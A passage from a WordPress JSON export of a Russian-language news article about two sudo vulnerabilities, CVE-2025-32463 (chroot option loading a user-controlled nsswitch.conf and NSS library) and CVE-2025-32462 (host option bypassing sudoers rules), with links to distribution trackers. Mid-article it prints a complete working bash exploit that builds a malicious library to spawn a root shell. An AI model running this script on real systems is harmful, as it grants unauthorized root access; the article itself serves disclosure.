\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438\u043b\u0438\u00a0\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u00a0\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445 (\u0435\u0441\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u0437\u043d\u0430\u0447\u0438\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430 \u0435\u0449\u0451 \u043d\u0435\u00a0\u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a\u00a0\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b): <a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Debian<\/a>, <a href=\"https:\/\/people.canonical.com\/~ubuntu-security\/cve\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Ubuntu<\/a>, <a href=\"https:\/\/koji.fedoraproject.org\/koji\/packageinfo?packageID=122\" rel=\"noopener noreferrer nofollow\">Fedora<\/a>, <a href=\"https:\/\/bugzilla.suse.com\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">SUSE\/openSUSE<\/a>, <a href=\"https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">RHEL<\/a>, <a href=\"https:\/\/bugs.gentoo.org\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Gentoo<\/a> \u0438 Arch (<a href=\"https:\/\/security.archlinux.org\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">1<\/a>, <a href=\"https:\/\/archlinux.org\/packages\/core\/x86_64\/sudo\/\" rel=\"noopener noreferrer nofollow\">2<\/a>). <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e\u00a0\u043f\u0440\u0438\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0446\u0438\u0438 \u00ab\u2011R\u00bb (\u00ab\u2011chroot\u00bb) \u0434\u043b\u044f\u00a0\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u00a0chroot\u2011\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u00a0\u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0444\u0430\u0439\u043b \/etc\/nsswitch.conf \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0441\u044f \u0432\u00a0\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430, \u0430\u00a0\u043d\u0435\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0422\u0430\u043a \u043a\u0430\u043a\u00a0\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u00a0\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0434\u043b\u044f\u00a0chroot \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u00a0\u043d\u0451\u043c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 nsswitch.conf. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Name_Service_Switch\" rel=\"noopener noreferrer nofollow\">NSS<\/a> (Name Service Switch) \u0444\u0430\u0439\u043b \/etc\/nsswitch.conf, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u00a0\u043d\u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0435 \u043a\u00a0\u0432\u044b\u0437\u043e\u0432\u0443 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f NSS \u0432\u00a0\u0444\u043e\u0440\u043c\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u00a0\u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435. \u041f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u0432\u043e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437\u00a0\u043d\u0435\u0451 \u043a\u043e\u0434\u0430 \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0442\u0430\u043a \u043a\u0430\u043a\u00a0\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 NSS \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043e\u00a0\u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 sudo: <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash STAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat &gt; woot1337.c&lt;&lt;EOF #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; __attribute__((constructor)) void woot(void) {  setreuid(0,0);  setregid(0,0);  chdir(\"\/\");  execl(\"\/bin\/bash\", \"\/bin\/bash\", NULL); } EOF mkdir -p woot\/etc libnss_ echo \"passwd: \/woot1337\" &gt; woot\/etc\/nsswitch.conf cp \/etc\/group woot\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c echo \"woot!\" sudo -R woot woot rm -rf ${STAGE?}<\/code><\/pre>\n<p>\u0412\u00a0\u0432\u0435\u0440\u0441\u0438\u0438 sudo 1.9.17p1 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438\u00a0\u0442\u0430\u043a\u0436\u0435 <a href=\"https:\/\/www.sudo.ws\/security\/advisories\/host_any\/\" rel=\"noopener noreferrer nofollow\">\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430<\/a> \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 <a href=\"https:\/\/www.stratascale.com\/vulnerability-alert-CVE-2025-32462-sudo-host\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> (<a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32462\" rel=\"noopener noreferrer nofollow\">CVE-2025-32462<\/a>), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043d\u043e\u00a0\u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 sudoers, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 host \u0432\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u00a0\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043e\u0442\u043b\u0438\u0447\u043d\u043e\u0435 \u043e\u0442\u00a0ALL \u0438\u043b\u0438\u00a0\u0438\u043c\u0435\u043d\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0445\u043e\u0441\u0442\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u043e\u0439, \u0438\u0437\u2011\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u043f\u0446\u0438\u044f \u00ab\u2011h\u00bb (\u00ab\u2011host\u00bb) \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u00a0\u0442\u043e\u043b\u044c\u043a\u043e \u0432\u00a0\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441\u00a0\u043e\u043f\u0446\u0438\u0435\u0439 \u00ab\u2011l\u00bb (\u00ab\u2011list\u00bb) \u0434\u043b\u044f\u00a0\u0432\u044b\u0432\u043e\u0434\u0430 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u00a0\u0445\u043e\u0441\u0442\u0443 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u043e\u00a0\u0438 \u043f\u0440\u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u0438\u00a0\u0432\u044b\u0437\u043e\u0432\u0435 sudo \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b sudoers, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u00a0\u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430. <\/p>\n<p>\u0414\u043b\u044f\u00a0\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0432\u00a0sudoers, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0432\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u00abtestuser testhost = ALL\u00bb, \u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u00abtestuser\u00bb \u043c\u043e\u0433 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u00absudo \u2011h testhost\u00bb \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430\u00a0\u043b\u044e\u0431\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u0430\u00a0\u043d\u0435\u00a0\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0445\u043e\u0441\u0442\u0435 testhost. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u00a0\u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0432\u0438\u0434\u0430 \u00abtestuser ALL = ALL\u00bb \u0438\u043b\u0438\u00a0\u0431\u0435\u0437\u00a0\u044f\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0434\u043b\u044f\u00a0\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/924560\/\"> https:\/\/habr.com\/ru\/articles\/924560\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-466225","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/466225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=466225"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/466225\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=466225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=466225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=466225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}